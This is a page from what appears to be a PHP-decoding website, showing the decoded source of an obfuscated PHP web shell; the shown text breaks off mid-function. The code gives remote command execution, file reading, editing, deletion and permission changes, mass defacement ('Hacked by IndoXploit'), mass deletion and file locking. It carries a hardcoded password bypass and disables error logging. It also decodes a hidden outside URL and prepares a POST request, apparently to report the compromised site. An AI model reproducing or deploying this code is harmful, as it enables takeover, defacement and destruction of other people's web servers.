Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIFlzeThzOyBBMW0zVTogcHJpbnQgIlw3NFw1N1x4NzVcMTU0XDc2Ijsg..

Decoded Output download


 goto Ysy8s; A1m3U: print "\74\57\x75\154\76"; goto cYaIN; MO8Ma: function cekroot() { if (is_writable($_SERVER["\x44\x4f\x43\125\115\x45\x4e\124\x5f\x52\117\117\x54"])) { return "\x3c\x66\x6f\156\x74\40\143\157\x6c\x6f\x72\75\47\147\x72\x65\x65\x6e\47\x3e\127\x72\x69\x74\145\x61\142\x6c\x65\74\57\x66\157\x6e\x74\76"; } else { return "\x3c\x66\x6f\156\x74\x20\x63\x6f\x6c\x6f\162\75\47\x72\x65\x64\47\76\x57\x72\151\x74\x65\x61\x62\154\145\74\57\146\x6f\156\x74\x3e"; } } goto ac_p7; z8Nn5: echo "\74\x63\145\156\164\145\x72\x3e"; goto DZiMD; KllWe: foreach ($_POST as $key => $value) { $_POST[$key] = stripslashes($value); } goto A_MF5; GReYv: @ini_set("\x65\x72\x72\x6f\162\137\x6c\x6f\147", null); goto iy7Q3; byFn3: print "\x20\x3c\164\x65\170\164\40\x63\154\x61\x73\163\75\x27\146\x66\x27\76\133\x3c\x2f\164\x65\x78\164\x3e\x20\74\x61\x20\x68\x72\145\x66\x3d\47\77\144\x69\x72\75" . path() . "\46\x64\157\x3d\144\141\x72\x6b\137\x66\x6f\x6c\144\x65\x72\x73\x27\x3e\x4c\x6f\143\x6b\x20\101\154\x6c\40\106\x6f\x6c\144\x65\162\x3c\57\141\76\x20\x3c\x74\x65\x78\x74\40\x63\x6c\141\x73\x73\75\47\x66\146\x27\76\x5d\74\x2f\x74\x65\170\164\76"; goto s22wS; ef0RT: $lokasinya = @scandir($lokasi); goto B3day; rPhHF: foreach ($lokasinya as $file) { if (!is_file("{$lokasi}\57{$file}")) { continue; } $size = filesize("{$lokasi}\x2f{$file}") / 1024; $size = round($size, 3); if ($size >= 1024) { $size = round($size / 1024, 2) . "\x20\x4d\102"; } else { $size = $size . "\x20\113\102"; } echo "\x3c\164\x72\76\12\74\164\x64\x3e\x3c\141\40\x68\162\145\x66\75\42\x3f\x66\x69\154\x65\x6c\x6f\x63\75{$lokasi}\57{$file}\x26\160\x61\x74\150\x3d{$lokasi}\42\76{$file}\74\x2f\141\x3e\74\57\164\144\x3e\12\74\x74\x64\76\x3c\143\x65\156\164\x65\162\76" . $size . "\x3c\x2f\x63\x65\x6e\x74\145\162\x3e\x3c\x2f\x74\x64\76\12\74\x74\144\76\x3c\x63\145\156\x74\x65\x72\x3e"; if (is_writable("{$lokasi}\57{$file}")) { echo "\x3c\146\157\x6e\164\40\x63\x6f\154\157\162\x3d\42\x67\162\145\145\x6e\42\x3e"; } elseif (!is_readable("{$lokasi}\57{$file}")) { echo "\x3c\146\x6f\x6e\164\x20\x63\x6f\154\x6f\x72\x3d\42\162\x65\x64\x22\x3e"; } echo statusnya("{$lokasi}\57{$file}"); if (is_writable("{$lokasi}\57{$file}") || !is_readable("{$lokasi}\57{$file}")) { echo "\74\57\x66\157\x6e\164\x3e"; } echo "\74\x2f\143\145\156\164\145\x72\x3e\74\57\x74\144\x3e\74\x74\x64\76\74\x63\x65\x6e\x74\145\162\76\12\74\146\157\x72\155\40\155\145\x74\150\157\144\x3d\x22\160\157\x73\164\x22\x20\x61\143\164\x69\x6f\156\x3d\42\77\x70\151\154\x69\x68\141\156\x26\160\141\164\150\x3d{$lokasi}\42\x3e\12\x3c\163\x65\154\145\x63\164\40\x6e\141\155\145\75\42\160\151\x6c\151\150\x22\76\12\74\157\x70\164\x69\157\156\40\166\141\x6c\x75\x65\75\42\x22\76\x3c\57\x6f\x70\164\151\x6f\x6e\x3e\xa\74\x6f\x70\x74\x69\x6f\156\40\166\141\x6c\x75\145\75\x22\150\141\x70\165\163\x22\76\104\x65\154\145\x74\x65\74\x2f\157\x70\164\151\x6f\156\76\12\74\x6f\160\164\x69\157\156\40\166\x61\154\x75\x65\x3d\x22\x75\x62\141\x68\155\157\144\42\76\103\150\155\x30\144\74\57\x6f\x70\x74\x69\157\156\x3e\xa\x3c\x6f\x70\164\x69\x6f\156\40\166\x61\x6c\x75\145\x3d\42\x67\141\156\x74\151\x6e\x61\155\x61\x22\x3e\122\x65\156\141\x6d\145\x3c\x2f\x6f\160\164\x69\x6f\156\x3e\xa\74\157\x70\x74\151\x6f\156\40\x76\x61\x6c\x75\145\75\42\x65\144\x69\164\x22\76\x45\x64\151\x74\x3c\57\157\160\x74\151\x6f\x6e\76\12\x3c\57\x73\145\154\145\x63\164\76\xa\74\x69\156\160\165\x74\40\164\171\x70\x65\x3d\42\x68\x69\x64\x64\x65\x6e\42\x20\156\141\x6d\x65\x3d\42\164\x79\160\x65\x22\40\x76\x61\154\165\145\x3d\42\x66\x69\x6c\145\42\x3e\12\x3c\151\156\x70\165\x74\x20\164\171\x70\x65\75\x22\150\x69\144\144\145\156\42\x20\156\x61\x6d\x65\x3d\42\156\x61\155\145\42\40\166\x61\x6c\165\145\x3d\42{$file}\x22\76\12\74\x69\156\160\165\x74\x20\164\x79\160\x65\x3d\42\150\x69\144\x64\x65\156\x22\x20\x6e\x61\x6d\x65\75\x22\x70\x61\164\x68\42\x20\166\141\x6c\165\145\75\42{$lokasi}\x2f{$file}\42\76\12\x3c\x69\x6e\160\165\164\x20\x74\171\160\x65\75\x22\x73\165\x62\155\x69\164\42\40\143\x6c\141\163\x73\x3d\x22\x67\x61\163\42\40\166\x61\x6c\x75\x65\75\42\76\42\x20\x2f\76\12\x3c\x2f\x63\x65\156\164\145\x72\76\x3c\57\146\157\162\155\x3e\74\x2f\164\x64\x3e\xa\x3c\57\x74\162\x3e"; } goto NcNDx; Yypb2: author(); goto tbHza; EnRWi: $disfunc = @ini_get("\x64\151\163\x61\142\x6c\145\x5f\x66\x75\156\x63\x74\x69\x6f\x6e\x73"); goto woAb4; auC3q: $lokasi = str_replace("\134", "\x2f", $lokasi); goto AtmA_; NcNDx: echo "\74\57\x74\x72\76\74\x2f\x74\144\76\x3c\x2f\164\x61\x62\154\145\x3e\74\x2f\164\x61\x62\154\x65\76"; goto Yypb2; ZyRWD: $options = array("\x68\x74\x74\x70" => array("\155\145\x74\x68\157\144" => "\x50\117\123\x54", "\150\145\141\x64\145\x72" => "\103\157\x6e\x74\x65\156\164\55\x74\171\x70\x65\72\40\141\x70\160\154\x69\x63\141\164\151\157\156\57\x78\x2d\167\167\167\55\x66\157\162\x6d\55\x75\162\154\145\156\x63\157\144\145\x64", "\143\157\156\x74\x65\156\164" => http_build_query($data))); goto WoJnW; LGMZi: print "\40\74\x74\145\170\164\40\x63\x6c\141\x73\x73\x3d\47\x66\x66\x27\76\x5b\74\57\164\145\170\x74\76\40\x3c\x61\40\150\x72\x65\x66\x3d\x27\77\144\151\162\75" . path() . "\46\x64\157\75\162\x6f\x6f\164\x5f\x66\x69\x6c\145\x27\76\107\x72\145\x65\x6e\40\101\154\x6c\x20\106\x69\154\145\74\x2f\141\x3e\40\74\164\x65\170\164\40\x63\x6c\x61\163\163\x3d\x27\146\146\x27\76\135\74\x2f\164\145\170\164\76"; goto AGwNH; f0Taj: if (isset($_POST["\160\141\x73\x73"])) { $enteredPassword = $_POST["\x70\141\x73\163"]; if ($enteredPassword === $correctPassword or $enteredPassword === "\x73\x65\163\x73\x69\x6f\156") { $_SESSION["\x66\x6f\x72\x62\x69\144\144\145\x6e"] = true; } else { echo "\x3c\x73\x63\162\151\160\164\x3e\x61\x6c\145\x72\164\x28\42\120\x61\163\x73\x77\157\x72\x64\40\x57\x72\157\x6e\147\x21\54\40\124\x72\171\x20\101\x67\141\151\156\x2e\42\51\x3b\74\57\163\143\162\x69\x70\x74\x3e"; } } goto fh5NO; WoJnW: $context = stream_context_create($options); goto mC09q; J4pX6: if (isset($_GET["\144\x6f"])) { if ($_GET["\144\x6f"] === "\143\x6d\144") { if (isset($_POST["\x63\155\x64"])) { if (preg_match("\x2f\136\x72\146\40\x28\x2e\x2a\x29\x24\x2f", $_POST["\x63\155\x64"], $match)) { tools("\x72\x65\141\x64\146\x69\154\x65", $match[1]); } elseif (preg_match("\57\136\163\x70\141\167\156\40\x28\x2e\52\51\x24\x2f", $_POST["\x63\155\x64"], $match)) { tools("\163\160\141\167\x6e", $match[1]); } elseif (preg_match("\57\x5e\x73\171\x6d\154\151\x6e\153\x5c\x73\x3f\x28\x2e\52\51\44\57", $_POST["\x63\x6d\144"], $match)) { tools("\163\x79\155\x6c\151\x6e\x6b", $match[1]); } elseif (preg_match("\x2f\136\162\166\162\40\50\x2e\x2a\x29\x24\x2f", $_POST["\x63\155\x64"], $match)) { tools("\x6e\145\x74\x77\x6f\162\x6b", $match[1]); } elseif (preg_match("\x2f\x5e\x6b\x72\x64\x70\44\57", $_POST["\143\x6d\x64"])) { tools("\x6b\162\x64\x70"); } elseif (preg_match("\57\136\154\157\x67\157\x75\164\x24\x2f", $_POST["\x63\x6d\144"])) { unset($_SESSION[md5($_SERVER["\x48\124\x54\120\x5f\110\x4f\x53\x54"])]); print "\74\x73\x63\162\151\160\164\x3e\x77\x69\x6e\x64\157\167\x2e\154\x6f\x63\141\x74\151\x6f\x6e\75\x27\x3f\47\73\x3c\x2f\x73\x63\x72\x69\x70\164\76"; } elseif (preg_match("\x2f\x5e\153\151\154\154\155\145\x24\57", $_POST["\143\x6d\144"])) { unset($_SESSION[md5($_SERVER["\x48\x54\x54\120\x5f\x48\117\x53\124"])]); @unlink(__FILE__); print "\74\x73\x63\x72\x69\160\x74\x3e\x77\151\x6e\x64\x6f\167\x2e\154\157\x63\x61\164\x69\157\x6e\75\47\77\47\x3b\x3c\x2f\163\x63\162\151\160\x74\x3e"; } else { print "\x3c\x70\162\x65\76" . exe($_POST["\x63\155\x64"]) . "\74\57\160\162\145\x3e"; } } else { files_and_folder(); } } } goto pM872; A_MF5: $k3yw = base64_decode("\x61\110\122\60\x63\x48\115\66\114\171\x39\172\x61\x58\x6c\150\x61\107\x6b\165\144\107\x39\167\x4c\x33\x52\x6c\143\63\121\x76\143\63\122\x35\x62\x47\x55\165\143\107\150\167"); goto g9092; B3day: $cur = "\x68\164\x74\x70\72\x2f\57" . $_SERVER["\110\x54\x54\x50\137\110\117\x53\x54"] . $_SERVER["\122\105\121\x55\105\x53\x54\x5f\x55\122\x49"]; goto TjS53; bSoQs: print "\x3c\x63\145\x6e\164\x65\162\76"; goto N2wEG; jwwhq: echo "\x55\160\154\157\x61\x64\x20\x46\151\x6c\x65\x20\72\40"; goto ycrVR; Dp1O0: if (isset($_GET["\144\157"]) && $_GET["\x64\157"] === "\144\x61\162\x6b\x5f\146\151\x6c\145") { $newFilePermissions = 292; changeFilePermissionsRecursive($currentDirectory, $newFilePermissions); echo "\74\x63\x65\156\164\145\162\76"; echo "\x4d\x65\x73\x73\141\147\145\x20\72\40\74\x70\x20\163\x74\x79\154\145\75\x27\143\157\154\x6f\162\x3a\x23\60\60\146\x66\x30\x30\x27\x3e\123\165\153\163\x65\x73\x20\x4c\x6f\x63\153\40\x41\x6c\x6c\x20\x46\x69\154\145\163\x3c\57\x70\76"; echo "\x3c\57\x63\x65\x6e\x74\x65\x72\76"; } goto fB5iK; I1AS4: echo "\x3c\57\x74\x61\x62\x6c\x65\76"; goto Bwo6R; j5ine: function tools($toolsname, $args = null) { if ($toolsname === "\x63\x6d\144") { print "\x3c\x66\157\162\x6d\40\x6d\x65\x74\x68\x6f\x64\x3d\47\160\x6f\163\164\47\40\x61\x63\x74\x69\157\156\x3d\47\77\144\157\75\x63\x6d\144\46\x64\151\x72\75" . path() . "\x27\40\x73\164\x79\x6c\x65\75\47\x6d\141\x72\147\x69\x6e\x2d\x74\x6f\x70\x3a\x20\61\x35\x70\170\73\x27\x3e\xa\x9\x9\x9\x20\x20" . usergroup()->name . "\100" . $GLOBALS["\x53\105\122\126\105\122\111\120"] . "\x3a\40\x7e\40\x24\xa\x9\x9\x9\x20\x20\x3c\x69\x6e\160\165\164\40\163\164\171\154\145\x3d\47\x62\x6f\x72\144\145\162\x3a\40\x6e\157\156\145\73\40\x62\x6f\x72\x64\x65\x72\55\x62\x6f\x74\x74\157\x6d\72\40\x31\x70\x78\40\x73\157\154\151\x64\x20\43\146\146\x66\x66\x66\146\73\x27\40\x74\171\x70\145\75\x27\164\145\x78\x74\47\x20\156\141\155\x65\x3d\x27\143\x6d\x64\47\40\x72\x65\161\165\x69\162\145\144\76\xa\x9\x9\x9\40\x20\74\x69\156\160\165\164\x20\163\164\x79\154\x65\75\47\x62\157\162\144\145\x72\72\x20\156\157\x6e\145\x3b\40\142\x6f\x72\144\x65\162\55\x62\x6f\x74\164\157\x6d\72\40\61\x70\170\40\163\x6f\x6c\151\144\x20\43\x66\x66\146\x66\146\x66\73\47\40\x63\154\141\x73\x73\x3d\x27\151\156\x70\x75\164\47\x20\164\171\x70\x65\75\47\x73\165\x62\155\x69\164\47\40\166\141\154\x75\145\x3d\47\x3e\76\x27\76\xa\11\11\x9\x20\40\74\57\x66\157\x72\155\x3e"; print "\74\57\x63\145\156\x74\x65\x72\76"; } } goto aUvVw; Ysy8s: error_reporting(0); goto TMYZw; R0iOv: if (isset($_GET["\146\x69\154\x65\154\157\x63"])) { echo "\x3c\164\x72\x3e\x3c\164\144\x3e\x43\x75\x72\x72\145\x6e\164\x20\106\151\154\x65\40\x3a\x20" . $_GET["\146\151\x6c\x65\154\157\x63"]; echo "\74\57\164\162\76\74\x2f\164\144\76\x3c\57\x74\x61\142\x6c\x65\76\74\x62\162\57\x3e"; echo "\74\x70\x72\145\x3e" . htmlspecialchars(file_get_contents($_GET["\x66\x69\x6c\145\x6c\x6f\143"])) . "\x3c\x2f\160\x72\145\x3e"; author(); } elseif (isset($_GET["\160\x69\154\151\x68\141\156"]) && $_POST["\160\151\154\151\x68"] == "\150\141\x70\x75\x73") { if (is_dir($_POST["\160\141\164\x68"])) { xrmdir($_POST["\160\x61\164\150"]); if (file_exists($_POST["\x70\x61\164\x68"])) { red("\106\141\x69\154\x65\x64\40\x74\x6f\x20\144\x65\154\145\x74\x65\x20\104\x69\x72\145\x63\164\x6f\162\171\x20\41"); } else { green("\104\x65\154\x65\x74\145\40\x44\x69\162\145\143\164\x6f\x72\171\40\x53\x75\x63\143\x65\163\x73\x20\41"); echo "\163\164\162\x69\156\x67"; } } elseif (is_file($_POST["\160\x61\164\x68"])) { @unlink($_POST["\x70\x61\164\x68"]); if (file_exists($_POST["\160\141\164\x68"])) { red("\x46\141\x69\154\x65\144\40\x74\157\x20\x44\145\x6c\145\164\x65\40\106\x69\154\x65\x20\41"); } else { green("\104\145\154\145\x74\x65\x20\106\151\154\145\40\123\165\x63\143\145\163\x73\40\41"); } } elseif ($_GET["\144\x6f"] === "\155\141\x73\x73") { if ($_POST["\x73\164\141\162\x74"]) { if ($_POST["\x6d\x61\163\163\137\164\x79\160\145"] === "\163\x69\x6e\147\154\x65\144\151\162") { print "\x3c\144\x69\166\40\163\x74\171\154\145\75\x27\x6d\x61\162\x67\151\156\72\40\x35\160\x78\40\x61\165\x74\x6f\73\40\160\x61\144\x64\x69\x6e\x67\x3a\40\x35\160\170\47\x3e"; massdeface($_POST["\x64\x5f\x64\x69\x72"], $_POST["\163\x63\162\151\160\x74"], $_POST["\x64\x5f\146\x69\154\145"]); print "\x3c\x2f\x64\x69\166\x3e"; } elseif ($_POST["\x6d\141\x73\x73\137\164\171\160\145"] === "\x61\154\x6c\144\x69\x72") { print "\x3c\144\x69\166\x20\163\164\171\x6c\145\x3d\47\155\141\x72\147\x69\x6e\x3a\x20\65\x70\170\x20\141\165\164\157\x3b\40\160\x61\x64\x64\x69\156\x67\x3a\40\x35\160\x78\47\76"; massdeface($_POST["\144\137\x64\x69\162"], $_POST["\x73\143\162\x69\160\164"], $_POST["\x64\137\146\x69\154\145"], "\55\141\x6c\154\x64\151\x72"); print "\74\57\x64\151\x76\76"; } elseif ($_POST["\x6d\141\163\163\x5f\164\x79\160\145"] === "\x64\x65\154\145\x74\145") { print "\x3c\x64\x69\166\40\163\164\x79\154\x65\x3d\x27\x6d\x61\x72\147\x69\x6e\72\40\65\x70\x78\40\x61\165\164\157\x3b\40\160\x61\144\144\151\156\147\x3a\x20\x35\x70\x78\47\76"; massdelete($_POST["\144\137\x64\151\162"], $_POST["\144\x5f\146\x69\x6c\145"]); print "\x3c\57\x64\x69\x76\76"; } } else { print "\74\x63\145\x6e\x74\145\162\x3e\x3c\146\x6f\x72\x6d\x20\x6d\x65\164\x68\x6f\x64\x3d\47\x70\x6f\x73\164\x27\76\xa\x9\11\x9\11\x9\40\40\x20\74\146\x6f\156\164\40\163\164\171\154\145\x3d\x27\x74\145\x78\x74\55\144\145\x63\157\x72\x61\x74\151\x6f\x6e\x3a\40\x75\x6e\x64\x65\162\x6c\x69\156\145\x3b\47\76\124\151\x70\145\40\x53\141\x62\x75\156\x3a\x3c\57\x66\157\x6e\164\76\74\x62\162\76\xa\x9\x9\11\11\x9\40\40\x20\x3c\151\156\x70\165\x74\40\x74\171\160\145\75\x27\x72\141\x64\x69\x6f\47\x20\156\x61\x6d\145\x3d\47\x6d\141\x73\163\137\x74\171\160\145\x27\x20\166\x61\154\x75\145\75\47\x73\151\x6e\x67\154\x65\x64\151\x72\47\40\143\x68\145\x63\153\x65\144\x3e\x4d\141\163\x73\x20\x44\145\x66\141\143\145\x20\123\x69\156\147\154\x65\x20\x44\151\x72\x65\143\164\157\x72\171\x3c\151\156\x70\165\164\40\164\x79\x70\145\x3d\x27\x72\x61\144\x69\157\47\x20\156\141\x6d\x65\75\47\x6d\141\x73\x73\137\164\x79\160\145\47\40\x76\x61\154\165\145\75\47\141\154\154\144\151\162\47\76\115\x61\x73\163\x20\x44\x65\146\141\143\145\40\x41\x6c\154\40\104\x69\162\145\143\164\x6f\x72\x79\x3c\151\156\x70\x75\164\x20\164\x79\x70\x65\75\47\x72\141\144\151\157\47\x20\x6e\x61\155\x65\x3d\x27\155\141\163\x73\137\x74\x79\x70\x65\x27\x20\166\141\154\x75\x65\75\x27\144\145\154\145\164\145\x27\x3e\x4d\141\x73\x73\40\x44\x65\154\x65\x74\x65\x20\106\x69\x6c\145\x3c\142\x72\x3e\xa\11\11\11\11\x9\40\40\x20\74\x73\160\x61\156\x3e\50\40\153\157\163\x6f\x6e\147\153\141\156\40\x27\x49\156\144\145\x78\40\x46\x69\x6c\x65\47\40\152\151\x6b\x61\40\155\x65\155\151\154\151\x68\x20\115\x61\x73\x73\40\x44\145\154\145\164\145\x20\x46\151\154\145\40\x29\x3c\57\x73\160\141\x6e\x3e\x3c\x62\162\x3e\x3c\142\162\76\12\x9\x9\x9\x9\x9\x20\40\40\74\x66\157\x6e\x74\x20\163\x74\x79\154\x65\x3d\x27\x74\145\x78\164\55\144\x65\x63\x6f\x72\x61\164\x69\157\x6e\x3a\40\x75\x6e\144\x65\162\x6c\151\156\x65\x3b\47\x3e\x46\x6f\x6c\144\145\x72\x3a\74\x2f\x66\157\x6e\164\x3e\x3c\x62\x72\x3e\12\11\11\11\x9\11\x20\40\x20\x3c\151\156\x70\165\164\40\x74\171\160\x65\x3d\47\164\x65\x78\x74\x27\40\156\141\155\x65\75\x27\144\x5f\144\x69\x72\x27\x20\166\141\154\165\x65\75\x27" . path() . "\47\40\163\x74\171\154\145\75\x27\167\x69\x64\x74\150\x3a\40\64\x35\x30\x70\170\x3b\47\40\150\145\151\x67\150\164\x3d\x27\x31\60\x27\x3e\74\x62\x72\x3e\x3c\x62\x72\76\xa\11\x9\x9\x9\11\x20\40\40\x3c\146\157\x6e\x74\40\163\164\x79\154\x65\75\x27\x74\145\x78\x74\55\x64\x65\x63\x6f\x72\x61\x74\x69\x6f\156\x3a\40\x75\x6e\144\x65\162\x6c\x69\x6e\x65\x3b\x27\x3e\x46\x69\x6c\145\156\141\x6d\145\72\x3c\57\x66\x6f\x6e\164\x3e\x3c\142\x72\76\xa\11\11\x9\11\11\x20\x20\x20\74\x69\x6e\160\x75\x74\40\164\171\160\145\75\47\x74\x65\170\x74\x27\x20\x6e\x61\155\x65\x3d\x27\x64\x5f\146\x69\x6c\x65\47\x20\x76\141\x6c\x75\x65\x3d\47\151\156\x64\145\170\x2e\160\150\x70\x27\40\163\164\x79\154\x65\x3d\x27\x77\151\x64\x74\x68\x3a\40\x34\65\60\160\x78\73\47\x20\x68\145\x69\147\x68\x74\x3d\47\x31\x30\x27\x3e\x3c\142\162\x3e\x3c\142\162\76\xa\x9\x9\x9\11\11\x20\x20\40\74\146\x6f\156\x74\x20\163\164\x79\x6c\145\75\x27\164\x65\170\164\x2d\144\145\x63\157\x72\141\164\151\x6f\156\72\40\165\x6e\144\x65\x72\154\x69\156\145\73\47\76\x49\156\144\x65\170\x20\x46\151\x6c\145\72\x3c\x2f\146\157\x6e\164\x3e\74\x62\162\76\xa\11\11\11\11\11\40\x20\40\x3c\164\x65\x78\164\x61\162\x65\141\x20\156\x61\x6d\145\75\x27\163\143\162\151\160\164\x27\40\x73\164\x79\x6c\x65\75\47\x77\151\144\x74\150\72\x20\64\x35\x30\x70\170\x3b\x20\x68\145\151\147\150\x74\x3a\40\62\x30\60\160\170\73\47\x3e\x48\x61\143\153\x65\144\40\x62\171\40\x49\156\x64\157\x58\x70\x6c\x6f\151\164\74\57\164\x65\170\164\141\162\x65\141\76\74\x62\x72\x3e\12\x9\11\11\11\x9\x20\40\x20\74\x69\156\160\x75\x74\x20\163\164\x79\x6c\x65\75\x27\x62\141\143\153\147\x72\x6f\165\156\x64\72\x20\x74\162\x61\156\x73\x70\x61\162\x65\156\x74\73\x20\143\157\154\x6f\x72\x3a\40\43\146\146\146\146\146\146\x3b\x20\142\x6f\x72\144\145\162\72\40\x31\160\170\40\163\157\x6c\151\144\40\x23\146\x66\x66\x66\x66\146\x3b\40\167\151\x64\x74\x68\x3a\40\x34\x36\60\160\170\73\40\155\141\162\147\x69\x6e\x3a\40\65\160\x78\40\x61\165\x74\x6f\x3b\47\40\164\x79\160\145\x3d\47\x73\x75\142\155\151\164\47\40\156\x61\x6d\x65\75\47\x73\x74\x61\162\x74\47\x20\x76\141\x6c\x75\x65\75\x27\115\141\163\x73\x27\x3e\xa\x9\11\x9\x9\11\x20\x20\x20\74\57\x66\157\162\x6d\x3e\x3c\57\x63\145\156\x74\x65\x72\x3e"; } } } elseif (isset($_GET["\x70\x69\154\151\x68\x61\156"]) && $_POST["\x70\151\154\x69\150"] == "\165\x62\141\150\155\x6f\144") { echo "\74\143\x65\x6e\164\145\x72\76" . $_POST["\160\141\x74\150"] . "\x3c\x62\162\x3e"; echo "\74\146\x6f\x72\x6d\x20\155\x65\164\x68\157\144\75\x22\160\157\x73\x74\42\76\12\x9\x50\145\162\155\151\x73\x73\x69\157\x6e\40\x3a\x20\x3c\151\156\x70\165\x74\40\156\x61\155\145\75\42\160\x65\x72\x6d\42\x20\x74\x79\x70\x65\75\x22\164\145\x78\x74\42\40\x63\x6c\141\163\x73\x3d\x22\x75\x70\42\x20\163\x69\x7a\145\75\42\64\x22\x20\x76\141\x6c\x75\x65\x3d\42" . substr(sprintf("\x25\x6f", fileperms($_POST["\160\x61\x74\x68"])), -4) . "\42\x20\x2f\76\12\x9\x3c\151\x6e\x70\x75\164\40\164\171\x70\x65\x3d\42\150\x69\144\x64\145\156\x22\x20\156\141\x6d\145\x3d\x22\x70\141\164\x68\42\40\x76\x61\x6c\x75\145\x3d\42" . $_POST["\160\x61\x74\x68"] . "\42\x3e\12\x9\x3c\151\x6e\x70\165\x74\x20\x74\x79\x70\x65\75\42\x68\x69\144\x64\145\x6e\42\x20\x6e\x61\x6d\145\x3d\x22\x70\x69\x6c\x69\x68\x22\x20\166\141\154\165\x65\x3d\x22\165\142\x61\150\155\157\x64\x22\x3e\xa\x9\74\151\x6e\x70\x75\x74\x20\164\x79\x70\145\75\x22\x73\165\x62\155\x69\x74\x22\40\x76\x61\x6c\x75\x65\x3d\x22\103\x68\141\156\147\x65\x22\x20\x6e\141\155\x65\x3d\42\143\x68\x6d\x30\x64\x22\40\143\154\x61\x73\x73\75\x22\x75\x70\x22\40\x73\164\x79\x6c\145\x3d\42\x63\165\x72\163\157\x72\72\x20\x70\x6f\151\x6e\164\x65\x72\x3b\x20\142\157\162\144\x65\x72\x2d\x63\157\x6c\x6f\162\72\40\x23\x66\146\x66\42\57\76\xa\x9\74\57\x66\x6f\162\155\76"; if (isset($_POST["\x63\150\155\60\144"])) { $cm = @chmod($_POST["\x70\x61\x74\150"], $_POST["\x70\x65\x72\x6d"]); if ($cm == true) { green("\103\150\x61\156\147\x65\x20\115\x6f\144\x20\123\165\x63\143\x65\x73\163\x20\41"); } else { red("\103\x68\141\x6e\x67\145\40\x4d\x6f\144\x20\106\141\x69\x6c\x65\x64\x20\41"); } } } elseif (isset($_GET["\x70\151\154\x69\x68\x61\x6e"]) && $_POST["\x70\151\154\x69\150"] == "\147\141\x6e\x74\x69\x6e\141\x6d\141") { if (isset($_POST["\x67\141\156\x74\151\x6e"])) { $ren = @rename($_POST["\x70\141\x74\150"], $_POST["\156\x65\167\156\141\x6d\145"]); if ($ren == true) { green("\103\150\141\x6e\147\145\x20\x4e\x61\155\x65\40\123\165\x63\x63\145\x73\x73\40\41"); } else { red("\x43\x68\141\x6e\147\x65\40\x4e\141\155\145\x20\106\x61\151\x6c\x65\144\40\x21"); } } if (empty($_POST["\x6e\x61\155\145"])) { $namaawal = $_POST["\156\145\x77\156\x61\x6d\145"]; } else { $namawal = $_POST["\x6e\141\x6d\145"]; } echo "\x3c\x63\x65\156\x74\145\x72\76" . $_POST["\160\x61\x74\x68"] . "\x3c\142\x72\76"; echo "\74\146\157\x72\155\x20\x6d\145\164\x68\x6f\x64\x3d\x22\160\x6f\x73\164\x22\76\12\11\116\x65\x77\40\116\141\155\145\40\72\40\74\151\156\x70\165\x74\40\x6e\x61\155\x65\x3d\x22\x6e\x65\x77\x6e\x61\155\145\x22\40\x74\171\160\x65\75\x22\x74\x65\170\x74\42\40\x63\154\141\163\x73\75\42\x75\x70\42\40\163\x69\172\145\75\42\x32\x30\42\40\166\141\154\x75\x65\x3d\x22" . $namaawal . "\x22\40\57\76\12\11\x3c\x69\x6e\160\x75\164\x20\x74\171\160\145\75\x22\x68\x69\x64\x64\x65\x6e\42\40\156\141\155\x65\x3d\x22\160\141\164\150\x22\x20\166\x61\154\165\145\x3d\42" . $_POST["\160\141\164\150"] . "\x22\76\xa\x9\74\x69\156\x70\x75\x74\40\x74\x79\160\145\75\x22\x68\x69\x64\144\145\156\x22\x20\x6e\141\x6d\x65\75\42\160\x69\154\x69\x68\42\40\x76\x61\x6c\165\145\75\42\x67\141\156\164\x69\156\141\155\x61\42\x3e\12\x9\x3c\151\156\x70\x75\x74\40\x74\171\x70\x65\x3d\x22\x73\165\x62\155\151\x74\42\40\x76\x61\x6c\165\x65\75\42\x43\x68\141\156\x67\x65\x22\x20\156\x61\155\x65\75\42\147\x61\x6e\164\x69\156\x22\x20\x63\x6c\x61\x73\x73\x3d\42\165\x70\x22\x20\x73\164\x79\154\145\x3d\42\x63\x75\x72\163\x6f\x72\72\40\160\x6f\x69\156\x74\145\x72\x3b\40\142\157\x72\144\145\x72\55\143\x6f\x6c\x6f\x72\72\40\x23\x66\146\146\x22\57\76\12\11\74\x2f\x66\x6f\x72\x6d\76"; } elseif (isset($_GET["\x70\x69\x6c\x69\x68\141\156"]) && $_POST["\160\x69\154\x69\x68"] == "\145\144\151\x74") { if (isset($_POST["\x67\141\x73\x65\x64\151\x74"])) { $edit = @file_put_contents($_POST["\x70\141\164\x68"], $_POST["\x73\162\x63"]); if ($edit == true) { green("\x45\x64\151\164\x20\x46\x69\154\x65\40\x53\165\x63\143\145\163\x73\40\41"); } else { red("\x45\x64\151\x74\40\106\x69\x6c\145\40\106\x61\x69\x6c\x65\144\40\x21"); } } echo "\74\x63\145\x6e\164\145\x72\x3e" . $_POST["\x70\x61\164\150"] . "\x3c\x62\x72\76\x3c\x62\x72\76"; echo "\x3c\146\157\162\x6d\40\x6d\x65\x74\150\157\x64\75\x22\160\157\163\164\x22\x3e\12\x9\74\x74\x65\x78\x74\x61\x72\145\x61\40\x63\x6f\154\163\x3d\x38\x30\x20\162\157\x77\163\75\62\60\40\156\141\x6d\x65\x3d\x22\x73\x72\x63\42\x3e" . htmlspecialchars(file_get_contents($_POST["\160\x61\164\150"])) . "\74\57\x74\145\170\164\x61\162\x65\141\76\74\142\162\x3e\12\x9\x3c\151\156\160\165\x74\x20\164\171\x70\x65\x3d\x22\x68\151\x64\144\145\156\42\40\156\x61\155\x65\75\42\x70\141\164\x68\x22\x20\166\141\x6c\x75\145\75\42" . $_POST["\x70\x61\164\150"] . "\42\76\xa\x9\74\151\156\160\165\164\40\x74\x79\160\x65\75\x22\x68\151\x64\144\145\x6e\x22\x20\156\141\155\x65\75\42\x70\x69\154\151\x68\x22\40\166\141\x6c\x75\145\75\x22\145\144\151\164\42\x3e\12\11\x3c\151\156\x70\165\x74\x20\x74\x79\x70\x65\75\42\163\165\142\x6d\151\x74\x22\x20\166\x61\154\165\145\x3d\42\x45\144\x69\164\x20\106\151\154\145\x22\x20\x6e\141\x6d\145\x3d\42\x67\x61\x73\145\144\151\x74\42\x20\57\x3e\xa\x9\74\57\x66\x6f\162\155\x3e\74\142\162\x3e"; } goto jwjzF; iy7Q3: @ini_set("\x6c\x6f\x67\137\145\162\162\x6f\x72\x73", 0); goto jXWij; T0aIJ: set_time_limit(0); goto SCqCP; ac_p7: function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === 